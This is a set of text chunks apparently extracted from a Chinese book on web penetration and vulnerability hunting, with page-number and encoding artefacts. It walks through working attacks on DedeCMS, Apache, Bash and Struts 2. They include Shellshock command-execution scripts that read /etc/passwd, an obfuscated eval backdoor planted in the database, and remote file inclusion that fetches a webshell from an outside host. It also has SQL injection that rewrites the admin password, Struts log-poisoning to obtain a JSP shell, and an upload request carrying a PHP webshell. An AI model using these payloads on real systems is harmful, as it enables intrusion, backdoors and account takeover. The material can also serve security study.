    {"text": "在 Apache 将文件内容交给 PHP 的时候，Apache 会从右到左 Apache 对文件名进行判断，确保只有.php 的后缀文件得到解析，当文件 名是 test.php.bak 时，按照 httpd.conf 中的定义，.bak 是不可识别 的文件后缀，那么 Apache 会提取.bak 左边的后缀.php，判断 PHP C:\\php5\\php.exe 是否可以识别，来识别文件程序执行。"},
    {"text": "图 2-2 这是正常访问，我们把 phpinfo.php 重命名为 phpinfo.php.bak 再用 IE 访问 http://192.168.1.106:2217/phpinfo.php.bak，如图 2-3 所示。"},
    {"text": "笔者在本机搭建了一个测试环 境，并安装 DedeCMS v57，当安装完成 DedeCMS 后会在 install 文件夹下生成 index.php.bak 备份文件，则表示文件系统已安装，根据 Apache 的漏洞 index.php.bak 可以继续以 PHP 脚本执行。 这样我们就可以重新安装 DedeCMS 系统，安装完成后即 可获得网站的 webshell。 我们用 IE 访问 http://192.168.1.106:2217/DedeCMS_GBK_5.7_ SP1/ install/index.php.bak，如图 2-7 所示。 图 2-7 为了突破 DedeCMS 的这个限制必须把 install_lock.txt 文件删除，虽我们没有文件 操作的权限，但可以通过变量覆盖来实现，在 IE 提交 http://192.168.1.106:2217/ DedeCMS_GBK_5.7_SP1/install/index.php.bak?insLockfile=123456，如图 2-8 所示。"},
    {"text": "y 10 y 第 2 章 漏洞研究 2.2 Bash 漏洞攻击新发现 1．Bash 漏洞概述 2014 年 9 月 24 日 Bash 被公布存在远程代码执行漏洞，河马安全网第一时间根据 信息研判，确认该漏洞可能产生严重的后果，且分布广泛，于北京时间 2014 年 9 月 24 日早晨 5 时 30 分启动了分析代码和工具利用编写。"},
    {"text": "河马安全网针对该漏洞进行了 严格分析验证，确认该漏洞会影响当前主流的 Linux 和 Mac OS X 操作系统平台，包 括但不限于 Redhat、CentOS、Ubuntu、Debian、Fedora、Amazon Linux、OS X 10.10 等平台。"},
    {"text": "根据目前的漏洞验证情 况以及已经流传的 POC 情况，这个漏洞将严重影响网络基础设施的安全，包括但不 限于网络设备、网络安全设备、云服务和大数据中心等。"},
    {"text": "特别是 Bash 广泛地分布和 存在于设备中，其消除过程将非常漫长，且易于利用其编写蠕虫进行自动化传播，同 时也将导致僵尸网络的发展，当前已有多个境外安全机构发出警告。"},
    {"text": "2．Bash 漏洞分析 目前 Bash 使用的环境变量是通过函数名称来调用的，导致漏洞出问题是以“(){” 开头定义的环境变量，在命令 ENV 中解析成函数后，Bash 执行并未退出，而是继续 解析并执行 shell 命令。"},
    {"text": "该漏洞刚出现时，仅仅是一个本地 bash 命令注入漏洞，发展许多天后，则有了远 程攻击的 poc 出现，主要影响环境变量，也就是说系统程序中使用的与环境变量有关 的代码均会受该漏洞影响，以下为 test.cgi 代码。"},
    {"text": "#!/bin/bash echo \"Content-type: text/html\" echo \"\" echo \"<html>\" /usr/bin/env y 11 y Web 渗透与漏洞挖掘 echo \"</html>\" exit 0 /usr/bin/env 为调用系统的环境变量，env 为一个 elf 程序。"},
    {"text": "编写 Python 脚本 01016_apache_mod_cgi_bash_command_exec.py，代码如下： #!/bin/python #coding=utf-8 # author: zhaoxypass@hotmail.com # data: 10-26 import urllib2 import sys import re def main(): url = sys.argv[1] #cmd = sys.argv[2] cmd = \"/bin/cat /etc/passwd\" y 12 y 第 2 章 漏洞研究 headers = {'User-Agent':\"() { :;}; a=`%s`;echo \"\"www.isafe.cc_start\"\"+$a+\"\"www.isafe.cc_end\"\"\" % (cmd)} request = urllib2.Request(url,None,headers) try: page = urllib2.urlopen(request) headers1 = page.info().headers strHeader = ''.join(headers1) regx = '(?s)www\\.isafe\\.cc_start\\+(.*)\\+www\\.isafe\\.cc_end' result1 = re.compile(regx).findall(strHeader) print ''.join(result1) except urllib2.URLError, e: if e.code == 500: print 'success' else: print 'fail' if __name__ == \"__main__\": main() 打开 cmd，执行 01016_apache_mod_cgi_bash_command_exec.py http://test.isafe.cc/ cgi-bin/test.cgi，如图 2-10 所示。"},
    {"text": "图 2-10 y 13 y Web 渗透与漏洞挖掘 图 2-10 显示了/etc/passwd 文件内容，下面使用任意命令执行，如果测试时把： cmd = \"/bin/cat /etc/passwd\" 改为： cmd = \"/bin/ls\" 虽然命令执行成功，但是没有显示命令结果。 执行/bin/ls 的结果应该为一个目录 列表，但没有显示，为什么/bin/cat /etc/passwd 就能有回显呢？ 看/etc/passwd 的第一行： root:x:0:0:root:/root:/bin/bash root 和 x 之间有冒号，HTTP 响应头中： Server: Apache/2.2.14 (www.isafe.cc) Server 和 Apache/2.2.14（www.isafe.cc）之间也有冒号，而/bin/ls 执行结果没有 冒号。 那么，现在添加冒号(:)，比如在 bash 前添加了冒号，这样就符合 HTTP 响应头的 标准，若希望文件是一行，便于显示，则使用 sed 命令对文件进行内容替换，把\\n 替换 为 www.isafe.cc_x，编写 Python 脚本 01016_apache_ mod_cgi_bash_command_exec2.py， 代码如下。 #!/bin/python #coding=utf-8 # author: zhaoxypass@hotmail.com # data: 10-26 import urllib2 import sys import re def main(): url = sys.argv[1] #cmd = sys.argv[2] cmd = \"/bin/ls -F /\" headers = {'User-Agent':\"() { :;}; a=`%s`;echo $a>/tmp/www.isafe.cc\" % (cmd)} request = urllib2.Request(url,None,headers) y 14 y 第 2 章 漏洞研究 try: page = urllib2.urlopen(request) headers = {'User-Agent':\"() { :;};b=`/bin/sed -e :a -e '$!N; s/\\\\n/www.isafe.cc_x/; ta' /tmp/www.isafe.cc`;echo www.isafe.cc_start+:$b+www.isafe.cc_end\"} request = urllib2.Request(url,None,headers) page = urllib2.urlopen(request) headers1 = page.info().headers strHeader = ''.join(headers1) regx = '(?s)www\\.isafe\\.cc_start\\+:\\s(.*)\\+www\\.isafe\\.cc_end' result1 = re.compile(regx).findall(strHeader) print ''.join(result1) except urllib2.URLError, e: if e.code == 500: print 'success' else: print 'fail' if __name__ == \"__main__\": main() 打开 cmd 执行 D:\\delphi&kylix\\__河马安全网\\WorkSpace\\01016_apache_mod_cgi_ bash_command_exec>01016_apache_mod_cgi_bash_command_exec2.py http://test.isafe.cc/ cgi-bin/test.cgi 结果如下： 现在稍作修改，能让它执行任意命令，刚才把/tmp/www.isafe.cc 文件中的\\n 替换为 www.isafe.cc_x 是为了能单行显示，现在只需要把 www.isafe.cc_x 替换为\\n，并还原即可。"},
    {"text": "#!/bin/python #coding=utf-8 # author: zhaoxypass@hotmail.com y 15 y Web 渗透与漏洞挖掘 # data: 10-26 import urllib2 import sys import re def main(): url = sys.argv[1] cmd = sys.argv[2] #cmd = \"/bin/ls -F /\" headers = {'User-Agent':\"() { :;}; a=`%s`;echo $a>/tmp/www.isafe.cc\" % (cmd)} request = urllib2.Request(url,None,headers) try: page = urllib2.urlopen(request) headers = {'User-Agent':\"() { :;};b=`/bin/sed -e :a -e '$!N; s/\\\\n/www. isafe.cc_x/; ta' /tmp/www.isafe.cc`;echo www.isafe.cc_start+:$b+www.isafe.cc_ end\"} request = urllib2.Request(url,None,headers) page = urllib2.urlopen(request) headers1 = page.info().headers strHeader = ''.join(headers1) strHeader = strHeader.replace('www.isafe.cc_x','\\n') regx = '(?s)www\\.isafe\\.cc_start\\+:\\s(.*)\\+www\\.isafe\\.cc_end' result1 = re.compile(regx).findall(strHeader) print ''.join(result1) except urllib2.URLError, e: if e.code == 500: print 'success' else: print 'fail' if __name__ == \"__main__\": main() 打开 cmd 执行 D:\\delphi&kylix\\__河马安全网\\WorkSpace\\01016_apache_mod_cgi_ bash_command_exec>01016_apache_mod_cgi_bash_command_exec3.py http://test.isafe.cc/ cgi-bin/test.cgi \"/bin/ps -ef\"，结果如图 2-11 所示。"},
    {"text": "y 16 y 第 2 章 漏洞研究 图 2-11 上面是 Python 版的 Poc，下面是笔者使用 Delphi 开发的 Bash 漏洞工具，可以看 到 Delphi 的友好界面，如图 2-12 所示。"},
    {"text": "2.3 DedeCMS v5.7 SP1 完美隐藏后门技巧 1．漏洞利用条件 本节的漏洞利用，必须满足以下条件： （1）普通会员权限 （2）后台管理员权限 2．漏洞概述 DedeCMS V5.7 是一套开源的内容管理系统，经笔者研究，发现一个可隐藏后门 的漏洞，当实现后，后门比较隐蔽，不容易被发现。"},
    {"text": "3．发现漏洞详细步骤 首先注册一个普通会员，注册网址为 http://test.isafe.cc:2217/DedeCMS_GBK_ 5.7_SP1/member/index_do.php?fmdo=user&dopost=regnew，用户名为 isafe.cc，密码为 isafe.cc，注册好后登录，登录网址为 http://test.isafe.cc:2217/DedeCMS_GBK_5.7_SP1/ member/index.php，登录成功后发布软件，如图 2-13 所示。 图 2-13 y 18 y 第 2 章 漏洞研究 发布成功后，查看其 aid，网址为 http://test.isafe.cc:2217/DedeCMS_GBK_5.7_SP1/ plus/view. php?aid=110，这个发布的软件 aid 为 110；"},
    {"text": "图 2-14 在“运行 SQL 命令行”里输入： update dede_addonsoft set softlinks='{dede:link}{/dede:link}{dede:b text\\\\\\'= x\\'];phpinfo();//}www.isafe.cc;{/dede:b}' where aid=110; 记住 aid 为 110，执行后结果如图 2-15 所示。"},
    {"text": "图 2-15 然后访问网址 http://test.isafe.cc:2217/DedeCMS_GBK_5.7_SP1/plus/view.php?aid= 110，提示“文章尚未审核，非作者本人无权查看！ ”不用急，现在去开通权限，在 DedeCMS 后台，“会员”→“注册会员列表”中单击“文档”，如图 2-16 所示。"},
    {"text": "y 19 y Web 渗透与漏洞挖掘 图 2-16 图 2-17 这 时 再 访 问 网 址 http://test.isafe.cc:2217/DedeCMS_GBK_5.7_SP1/plus/view.php? aid=110，PHP 代码执行如图 2-18 所示。 图 2-18 y 20 y 第 2 章 漏洞研究 这里把： update dede_addonsoft set softlinks='{dede:link}{/dede:link}{dede:b text\\\\\\'= x\\'];phpinfo();//}www.isafe.cc;{/dede:b}' where aid=110; 修改为： update dede_addonsoft set softlinks='{dede:link}{/dede:link}{dede:b text\\\\\\'= x\\'];eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).ch r(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).c hr(59));//}www.isafe.cc;{/dede:b}' where aid=110; 在“SQL 命令行工具”中执行，就是一个比较隐蔽的后门，通过访问网址 http:// test. isafe.cc:2217/DedeCMS_GBK_5.7_SP1/plus/view.php?aid=110 密码为 c 就可以执 行任意命令，如图 2-19 所示。"},
    {"text": "y 21 y Web 渗透与漏洞挖掘 2.4 DedeCMS v5.7 SP1 远程文件包含漏洞玄机 DedeCMS 是一套 PHP+MYSQL 的应用，一般用于企业建立网站，在 Apache 环 境中，利用 Apache 解析漏洞，可以在远程文件包含，得到 webshell。 下面先从核心说起，漏洞文件位置为/install/index.php.bak，具体代码如下。 373 else if($step==11) 374 { 375 require_once('../data/admin/config_update.php'); 376 $rmurl = $updateHost.\"dedecms/demodata.{$s_lang}.txt\"; 377 378 $sql_content = file_get_contents($rmurl); 379 $fp = fopen($install_demo_name,'w'); 380 if(fwrite($fp,$sql_content)) 381 echo '&nbsp; <font color=\"green\">[√]</font> 存在(您可以选择安装进行体验)'; 382 else 383 echo '&nbsp; <font color=\"red\">[×]</font> 远程获取失败'; 384 unset($sql_content); 385 fclose($fp); 386 exit(); 387 } 根 据 上 面 代 码 的 分 析 ， 发 现 3 个 关 键 变 量 $updateHost 、 $s_lang 、 $install_demo_name，只要这 3 个关键变量能控制即可，如图 2-20 所示： 关键变量 $updateHost $s_lang $install_demo_name 图 2-20 首先看$install_demo_name，该变量初值为 dedev57demo.txt，$s_lang 变量初值为 gb2312。 由于 DedeCMS 的全局变量覆盖，就可以控制$install_demo_name 和$s_lang 变量。 y 22 y 第 2 章 漏洞研究 控制$install_demo_name 变量为 isafe.cc.php，这样就可以在/install/目录下写入一个 PHP 文件。"},
    {"text": "查找$updateHost 变量来源于第 375 行： require_once('../data/admin/config_update.php'); 跟进../data/admin/config_update.php 文件，代码如下： 1 <?php 2 /** 3 * 更新服务器，如果有变动，请到 http://bbs.dedecms.com 查询 4 * 5 * @version $Id: config_update.php 1 11:36 2011-2-21 tianya $ 6 * @package DedeCMS.Administrator 7 * @copyright Copyright (c) 2007 - 2010, DesDev, Inc. 8 * @license http://help.dedecms.com/usersguide/license.html 9 * @link http://www.dedecms.com 10 */ 11 12 //更新服务器，如果有变动，请到 http://bbs.dedecms.com 查询 13 $updateHost = 'http://updatenew.dedecms.com/base-v57/'; 14 $linkHost = 'http://flink.dedecms.com/server_url.php'; 第 13 行$updateHost = 'http://updatenew.dedecms.com/base-v57/'，这是一个静态变 量，我们也无法控制。 但是我们可以通过控制$install_demo_name 为../data/admin/ config_update.php，再控制$s_lang 为 a，这样$rmurl 为： 'http://updatenew.dedecms.com/base-v57/dedecms/demodata.a.txt' demodata.a.txt 在服务器上找不到，会向../data/admin/config.update.php 文件写入 空。"},
    {"text": "用 IE 或 Chrome 打开网址 http://localhost/DedeCMS_GBK_5.7_SP1/install/index.php. bak?step=11&insLockfile=b&s_lang=a&install_demo_name=../data/admin/config_update. php，如图 2-21 所示。"},
    {"text": "把 install_demo_name 设置为 isafe.cc.php，把 s_lang 设置为 a，把 updateHost 设置为网址 http://www.isafe.cc/，在 www.isafe.cc 主机上建立新目录 dedecms，并建立 一 个 文 件 dedecms.a.txt ， 内容 为<?php phpinfo();?>，用 IE 或 chrome 提 交 网 址 http://localhost/DedeCMS_GBK_5.7_SP1/install/index.php.bak?step=11&insLockfile=b&s_ lang=a&install_demo_name=isafe.cc.php&updateHost=http://www.isafe.cc/，如图 2-24 所示。 图 2-24 提交成功后，查看/install/目录下有没有 isafe.cc.php 文件，如图 2-25 所示。 y 24 y 第 2 章 漏洞研究 图 2-25 生成了 webshell，我们用 IE 或 Chrome 访问网址 http://localhost/DedeCMS_GBK_ 5.7_SP1/install/isafe.cc.php，如图 2-26 所示。 图 2-26 y 25 y Web 渗透与漏洞挖掘 可以看到 PHP 代码执行了，这个漏洞利用的关键点是 DedeCMS 的全局变量覆盖， 只要 PHP 的变量没有初始化，我们就可以控制编写了。 2.5 DedeCMS v5.7 download.php SQL 注入分析 DedeCMS 是一套 PHP+MYSQL 的网站建设系统，国内用户量很大，据不完全统 计有超过 4000 个网站在使用 DedeCMS 系统，漏洞也是层出不穷，有 Search.php union 注入漏洞、mysql_error_trace.inc 管理后台泄漏、大量的物理路径泄漏等，下面简单分 析/plus/download.php 的 SQL 注入漏洞。"},
    {"text": "实际上该漏洞属于全局变量没初始化漏洞，由于 DedeCMS 的全局机制，一个 $GLOBALS 类型的变量，若没有被初始化，我们就可以控制这个$GLOBALS 变量。 在/include/dedesql.class.php 中有如下代码： if(isset($GLOBALS['arrs1'])) { $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr( $arrs1 [$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr( $arrs2 [$i]); } $GLOBALS[$v1] .= $v2; } y 26 y 第 2 章 漏洞研究 function SetQuery($sql) { $prefix=\"#@__\"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); $this->queryString = $sql; } 在上面的代码中我们可以看到$arrs1 和$arrs2，因为$arrs1 和$arrs2 是全局变量， 所以可以编辑替换，只要找到调用的地方即可，在/plus/download.php 文件里写入如下 代码： else if($open==1) { $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link); //这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2(\"UPDATÈ#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' \"); if($rs <= 0) { $query = \" INSERT INTÒ#@__downloads`(`hash`, ìd`,`downloads`) VALUES('$hash','$id',1); \"; $dsql->ExecNoneQuery($query); } header(\"location:$link\"); exit(); } DedeCMS 会把#@_使用 str_replace()函数替换为$GLOBALS['cfg_dbprefix']的 值，而我们是可以覆盖掉这个变量的，$GLOBALS[$v1].= $v2;这行代码是把值+（值+ 相当于 a+=1 与 a=1 是有区别的），而不是直接赋值。 那么原来$GLOBALS[' cfg_ dbprefix ']= \" dede_ \"那么经过+后为 dede_+ $arrs2 的值，所以把$v1 控制为 cfg_dbprefix， 把$v2 控制为 admin` SET ùserid`='isafe', `pwd`='f297a57a5a743894a0e4' where id=1 # 结果$GLOBALS[' cfg_dbprefix ']的值为 dede_admin' SET 'userid'='isafe', `pwd`= 'f297a57a5a743894a0e4' where id=1 # 经过替换 download.php 中的 SQL 语句如图 2-27 所示。 y 27 y Web 渗透与漏洞挖掘 UPDATÈ#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' str_replace()替换 UPDATÈdede_admin` SET ùserid`='isafe', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' 图 2-27 执行后修改管理员的用户名为 isafe，密码为 admin，然后登录后台。"},
    {"text": "2.6 DedeCMS soft_edit.php 远程代码执行漏洞利用技巧 DedeCms 是一套开源的内容发布系统，2014 年 2 月 28 日其更新版本存在远程代 码执行漏洞，成功利用该漏洞的攻击者能执行任意 PHP 代码。 漏洞分析：利用该漏洞需要前台普通会员权限，漏洞文件为 soft_edit.php，关键 代码如下： if(!preg_match(\"#[_=&///?\\.a-zA-Z0-9-]+$#i\", $softurl)) { ShowMsg(\"确定软件地址提交正确!\", \"-1\"); exit; } 上面的一行正则表达式能匹配任意的字符，因此执行不到 showMsg()。 可以编写 代码测试一下，下面是 PHP 代码，文件命名为 preg_match.php： <?php $softurl='http://www.isafe.cc/'; if(!preg_match(\"#[_=&///?\\.a-zA-Z0-9-]+$#i\", $softurl)){ print \"不能往下执行，退出\"; } else { print \"可以匹配，漏洞触发\"; y 28 y 第 2 章 漏洞研究 } ?> 执行 preg_match.php，效果如图 2-28 所示。"},
    {"text": "上传一个任意软件，然后单击“修改”，修改“软件地址 1”为 http://www.isafe. cc}x{/dede:link}{dede:a text\\'=x'}=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34). chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr( 41).chr(59));// }xxxx{/dede:a}{dede:link}，如图 2-31 所示。"},
    {"text": "图 2-32 文件“4e1756b17370bd7e1c9c4fac86068d62.inc8ed5b5c7ac50306d.inc”的代码如下： <?php $z[0]=Array(\"link\",\" http://www.isafe.cc}x\",0,61); $z[0][4]['text']=\"本地下载\"; $z[1]=Array(\"a\",\"xxxx\",61,260); $z[1][4]['text\\']=\"x']=0;eval(chr(101).chr(118).chr(97).chr(108). chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84). chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));//\"; $z[2]=Array(\"link\",\" \",260,284); ?> 由此，可以看到刚提交的代码已经存在，DedeCMS 会在{dede:a text'=x'}=0;eval 中的 x 之前加一个双引号（\"），所以要想办法闭合引号。 http://www.isafe.cc}x{/dede:link}{dede:a text'=x'}=0;phpinfo();// }xxxx{/dede:a}{dede:link}xxx 在 GPC 为 On 或 Off 的执行情况各不相同。 y 30 y 第 2 章 漏洞研究 首先研究当 magic_quotes_gpc=Off 时的情况，需要修改 text '=x ' 为 text\\\\=x '，这 是因为在代码执行时进行了转义，转义为： $z[1][4]['text']=\"x']=0; 上面的代码无法闭合 text 后面的单引号，因这个单引号是 DedeCMS 自动添加的， 所以用\\'，系统认为这是转义字符，从而闭合，如何构造一个\\'字符，需要在“软件 地址 1”里输入 http://www.isafe.cc}x{/dede:link}{dede:a text\\\\=x'}=0;phpinfo();//}xxxx {/dede:a}{dede:link}xxx，就是在 text 后加上双斜杠“\\\\”，最后代码 phpinfo()被执行， 如图 2-33 所示。"},
    {"text": "在 text 后去掉一个斜杠，代码如下： http://www.isafe.cc}x{/dede:link}{dede:a text\\=x']=0;phpinfo();// }xxxx{/dede:a} {dede:link}xxx 代码执行成功了。"},
    {"text": "y 31 y Web 渗透与漏洞挖掘 图 2-34 图 2-35 y 32 y 第 2 章 漏洞研究 2.7 Struts 2 2010 S2-005 远程代码执行漏洞分析 Struts 2 是 Java 框架，主要用于网站开发，它存在多个远程代码执行漏洞，并执 行任意 Java 代码。"},
    {"text": "S2-005 漏洞是 Struts 官方修复 S2-003 时，没有考虑 Unicode 和八进制编码造成的 漏洞，需要修改 Struts 2 的配置才能执行任意代码，必须使用#，S2-003 过滤掉#，使 用 Unicode \\u0023 或者八进制\\43 代替#，这样就可以启用 Struts 2 静态方法访问并允 许此方法执行，这两个配置修改成功后，就可以执行代码了，修改如下： （1）('#_memberAccess['allowStaticMethodAccess']')(meh)=true （2）(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo= new%20java.lang.Boolean(\"false\"))) 第一行代码可以看到括号，这是 Ognl 的语法规则，括号中的代码会得到执行， 格式为(expression)(constant)=true，这行代码允许静态方法的访问。 第二行代码有许多括号，格式为(constant)((expression1)(expression2))，按照 Ognl 的语法规则，先执行 expression2，后执行 expression1，先给#foo 赋值 false，然后给变 量 #context[’xwork.MethodAccessor,denyMethodExecute’] 赋 值 为 #foo ， 相 当 于 #context[’xwork.MethodAccessor,denyMethodExecute’]=false，表示允许方法执行。"},
    {"text": "Struts 2 S2-005 漏洞还有一个重要因素，当参数进入 Params 拦截器，这个拦截器 将 URL 参数中的 Ognl 表达式以键值对的方式放入了值栈，Ognl 解析执行引擎就会按 照规定的语法规则解析字符串并执行 Ognl 表达式，由于拦截器中没有对特定的符号 进行完全过滤（没有过滤十六进制的 Unicode 码和八进制），所以导致任意代码都可 执行。 y 33 y Web 渗透与漏洞挖掘 图 2-36 2.8 Struts 2 2014 S2-020 RCE 漏洞分析 Struts 2 漏洞层出不穷，发展到现在已经有 5 个远程代码执行了，分别是 S2-005、 S2-009、S2-013、S2-16、S2-019。"},
    {"text": "目前又出现了一个 RCE 漏洞，其通过 class.classLoader 来修改 tomcat 的配置，以达到 getshell 的目的，这个漏洞编号为 S2-020。 这个漏洞是通过修改 tomcat 日志文件位置、日志文件的扩展名，以及日志的内容 得到 shell。"},
    {"text": "http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.reso urces.context.parent.pipeline.first.directory=webapps/ROOT 上面的 URL 把日志文件的位置修改为 webapps/ROOT，也就是修改为网站的根目 录。"},
    {"text": "下面的 URL 把日志的后缀改为.jsp，这样就可以得到 JSP 的 shell 了。 y 34 y 第 2 章 漏洞研究 http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.reso urces.context.parent.pipeline.first.suffix=.jsp 下面的 URL 可以把日志文件名定义为 shell： http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.reso urces.context.parent.pipeline.first.prefix=shell 为了使新的日志文件路径有效，需要提交下面的 URL： http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.reso urces.context.parent.pipeline.first.fileDateFormat=1 这样就在网站的根目录下生成了一个 shell1.jsp 文件，这是一个日志文件，我们通 过浏览器发送 GET 请求，请求的内容都会记录在 shell1.jsp 文件中。 如果使用浏览器 访问： http://127.0.0.1/struts2-blank/example/isafe.cc.jsp?id=<%Runtime.getRuntime().e xec(\"calc\");%> 就会在 shell1.jsp 文件中留下 Java 代码，如图 2-37 所示。 图 2-37 我们直接使用 IE 或 Chrome 访问网址 http://127.0.0.1/shell1.jsp，如图 2-38 所示。 图 2-38 看看服务器的进程列表，没访问 shell1.jsp 时如图 2-39 所示，访问后如图 2-40 所示。 y 35 y Web 渗透与漏洞挖掘 图 2-39 图 2-40 进程列表中多了 calc.exe，表明 shell1.jsp 中的代码执行了。 下面操作 webshell 就 更简单，打开“『河马』Struts 2 2014 S2-020 远程代码执行漏洞”工具，如图 2-41 所示。 图 2-41 [verify]表示只检测是否有漏洞，[GetWebShell]可以生成一个 shell。"},
    {"text": "下面分别演示 这两个功能，在 URL 中输入我们的测试网址 http://192.168.1.106:803/struts2-showcase-2.1.8.1/showcase.action，如图 2-42 和图 2-43 所示。"},
    {"text": "y 37 y Web 渗透与漏洞挖掘 图 2-44 2.9 多漏洞结合实现一步 SQL 注入 读者在实现 SQL 注入时有没有遇到过要填写验证码的情形呢？ 比如登录某个地 址需验证码，那么要批量注入就有困难，这时若想注入就得多漏洞相结合，因为验证 码在程序中有时是明文存储的。 下面来分析一个 DedeCMS 友情链接 SQL 注入漏洞，此漏洞分析将涉及以下 3 个 漏洞。"},
    {"text": "这里调用了 uploadsafe.inc.php，对上传文件相关变量进行了处理： $$_key = $_FILES[$_key]['tmp_name'] = str_replace(\"\\\\\\\\\", \"\\\\\", $_FILES[$_key] ['tmp_name']); 程序会把 tmp_name 变量值中的\"\\\\\"替换为\"\\\"，我们编写如下代码： Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(selec t version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate= nren&_FILES [webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10 &&_FILES[webname][tmp_name]=test\\。"},
    {"text": "y 38 y 第 2 章 漏洞研究 tmp_name 为 test\\，经过 GPC 转义会变为 test\\\\，再经过文件变量处理后把\\\\替换 为\\，成为 test\\，再进入数据库操作时\\和后面的单引号结合，从而绕过防护成功注入。"},
    {"text": "_FILES[webname][tmp_name]=test\\ 经过 GPC 转义 test\\\\ 经过 uploadsafe.inc.php 中 str_replace()函数替换为 test\\ 单引号和\\结合后闭合了 SQL，造成注入 Insert Intòdede_flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck) Values('50','http://','test\\',',if(@`\\'`,0x7c,(select concat(0x3638333732347c7c7c,userid,0x7c,pwd,0x7c7c7c363833373234) from dede_admin limit 0,1)),1,1,1,1,1)#,@`\\'`','','','1','1429239882','0') 图 2-45 上面是 SQL 注入漏洞分析，我们在 Firefox 中提交，如图 2-46 所示。"},
    {"text": "图 2-46 y 39 y Web 渗透与漏洞挖掘 填写验证码后需要审核，审核后才能显示，如图 2-47 和图 2-48 所示。 图 2-47 图 2-48 这个过程需要手工填写验证码，不能批量利用，接下来分析验证码如何泄漏漏洞。 经过分析得知 DedeCMS 把验证码明文存储在 session 文件里，打开/data/sessions/文件 夹查看，如图 2-49 所示。 验证码就这样明文保存在这些文件中，查看格式 sess_+一串字符，这串字符就是 PHPSESSID，我们在 Cookie 中可以看到的，如图 2-50 所示。 y 40 y 第 2 章 漏洞研究 图 2-49 图 2-50 在 Firefox 中 打 开 网 址 http://192.168.1.106/dedeCms5.6/data/sessions/sess_omcf8 egiggbvj66sk929esbhu2，如图 2-51 所示。"},
    {"text": "258 /** 259 * Swf 上传 260 */ 261 public function ajaxswfuploadAction() { 262 if ($this->post('submit')) { 263 $_type = explode(',', $this->post('type')); 264 if (empty($_type)) exit('0,' . lang('att-6')); 265 $size = (int)$this->post('size'); 266 if (empty($size)) exit('0,' . lang('att-5')); Web 渗透与漏洞挖掘 267 $data = $this->upload('Filedata', $_type, $size, null, null, $this->post('admin'), 'swf', null, $this->post('document')); 268 if ($data['result']) exit('0,' . $data['result']); 269 //唯一 ID,文件全路径,扩展名,文件名称 270 exit(time() . rand(0, 999) . ',' . $data['path'] . ',' . $data['ext'] . ',' . str_replace('|', '_', $data['file'])); 271 } else { 272 exit('0,' . lang('att-4')); 273 } 274 } 275 第 261 行定义了函数 ajaxswfuploadAction()，是这个函数出现了问题，那么我们 怎样调用 ajaxswfuploadAction()函数呢？"},
    {"text": "POST http://localhost/finecms_v1.9.3/index.php?c=Attachment&a=ajaxswfupload HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/finecms/index.php?c=Attachment&a=file&type=%4C%6E%42%6F%63%41% 3D%3D Cookie: PHPSESSID=2c084c49b9496ba0ca13226495ef3623; finecms_b1bf4_ci_session=a%3A6%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2259f 90ffdfed643bfb8996f462c2ddd60%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%22127.0 .0.1%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A65%3A%22Mozilla%2F5.0+%28Windows+NT+5 .1%3B+rv%3A18.0%29+Gecko%2F20100101+Firefox%2F18.0%22%3Bs%3A13%3A%22last_activi ty%22%3Bi%3A1434515275%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22 user_id%22%3Bs%3A1%3A%221%22%3B%7D8c45f2ea9911664729c2e8d34db3a38bbfb99e08 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------290881288420228 y 44 y 第 3 章 漏洞挖掘 Content-Length: 816 -----------------------------290881288420228 Content-Disposition: form-data; name=\"size\" 10000 -----------------------------290881288420228 Content-Disposition: form-data; name=\"type\" php -----------------------------290881288420228 Content-Disposition: form-data; name=\"ofile\" -----------------------------290881288420228 Content-Disposition: form-data; name=\"filename\" -----------------------------290881288420228 Content-Disposition: form-data; name=\"document\" -----------------------------290881288420228 Content-Disposition: form-data; name=\"Filedata\"; filename=\"1.php\" Content-Type: application/octet-stream <?php eval($_POST[cmd]) ?> -----------------------------290881288420228 Content-Disposition: form-data; name=\"submit\" 上传 -----------------------------290881288420228-- 重点是 type 和 FileData 参数的值： type = php FileData = 1.php <?php eval($_POST[cmd]);?> 我们用 burpsuite 或其他能提交数据包的工具，将上面的 POST 数据提交，如 图 3-1 和图 3-2 所示。"},
